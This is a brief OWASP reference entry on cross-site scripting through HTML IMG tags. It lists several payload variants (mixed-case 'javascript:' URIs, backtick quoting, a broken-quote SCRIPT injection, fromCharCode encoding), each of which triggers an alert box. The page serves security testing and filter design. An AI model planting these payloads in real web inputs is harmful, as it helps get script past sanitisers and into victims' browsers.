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Script in IMG tags
From OWASP
Description
It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting).
Examples
The following are methods an attacker can use in order to execute Javascript.
<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>
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